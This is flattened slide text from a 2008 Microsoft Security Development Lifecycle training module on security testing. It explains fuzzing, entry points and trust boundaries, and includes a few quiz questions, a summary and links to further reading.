Question 5: Which security issue can be mitigated by using parameterized queries? Cross-site scripting Buffer overflow SQL injection

Module 3: Security Testing

Buffer overflow in authentication Security Testing Traditional faults Actual software functionality Unintended, undocumented, or unknown functionality Intended functionality No authentication Missing defenses Weak authentication Poor defenses Buffer overflow in authentication Extra “functionality”

What Is Fuzzing? Randomized application of malformed data in a search for vulnerabilities Distinguishing characteristics Methodical Random values Explicit search for vulnerabilities / reliability failures Large number of test cases Expected outcome: It does not fail Does not fit neatly into typical test case development Coined by Bart Miller, An Empirical Study of the Reliability of UNIX Utilities (Miller, Fredriksen and So, 1990) Critics might call it a shotgun approach, but shotguns are more useful than rifles or lasers in many applications

How to Fuzz Tools! Tools! Tools! Determine all of the entry points to your code Network ports and protocols Files and file types Rank them by privilege level and accessibility Anonymous, user, and admin Remote and local

Attackers Are Unconstrained Rule #1: There are no rules Attacks by admins are uninteresting If you provide a client to access the server, don’t use it! Mimic the client in code If you rely on a specific service, build a bogus one

Fuzz Across Trust Boundaries Look for privilege elevation boundaries Pushing data from low-privilege to high-privilege process Admin: Full Control Everyone: Read SYSTEM Everyone: Write

Security Testing Checklist Build fuzzers for all consumed resources (such as files or net protocols) Tools! Tools! Tools! SDL Fuzzing requirements cover Files RPC endpoints ACtiveX Controls Generalized network fuzzing is probably the next step Security Testing Checklist Fuzz!

Question: Which of the following is not a characteristic of fuzz testing? It is an explicit search for vulnerabilities or reliability failures It involves a large number of test cases, which are not individually compelling It is exploratory, as opposed to methodical Its expected outcome is does not fail

Overall Summary The SDL integrates security activities in all of the phases of product development Activities such as attack surface reduction and threat modeling are part of the secure design phase Input validation is a very important secure coding principle; failure to do so results in serious security issues Code reviews in the verification phase helps to ensure that coding errors that result in security and privacy bugs are detected and fixed Security testing—particularly fuzz testing—helps expose errors that may introduce security vulnerabilities

Learning More Training Books "Introduction to the Microsoft Security Development Lifecycle" "Introduction to Threat Modeling" "Privacy in Software Development" Books The Security Development Lifecycle: SDL: A Process for Developing Demonstrably More Secure Software (Howard, Lipner, 2006) "Threat Modeling" chapter Writing Secure Code, Second Edition (Howard, LeBlanc, 2002)

Resources SDL Portal http://www.microsoft.com/sdl SDL Blog http://blogs.msdn.com/sdl/ SDL Process on MSDN(Web) http://msdn.microsoft.com/en-us/library/cc307748.aspx SDL Process on MSDN(MS Word) http://www.microsoft.com/downloads/details.aspx?FamilyID=d045a05a-c1fc-48c3-b4d5-b20353f97122&displaylang=en

Questions?

© 2008 Microsoft Corporation. All rights reserved © 2008 Microsoft Corporation. All rights reserved. Microsoft, Windows, Windows Vista and other product names are or may be registered trademarks and/or trademarks in the U.S. and/or other countries. The information herein is for informational purposes only and represents the current view of Microsoft Corporation as of the date of this presentation. Because Microsoft must respond to changing market conditions, it should not be interpreted to be a commitment on the part of Microsoft, and Microsoft cannot guarantee the accuracy of any information provided after the date of this presentation. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS PRESENTATION.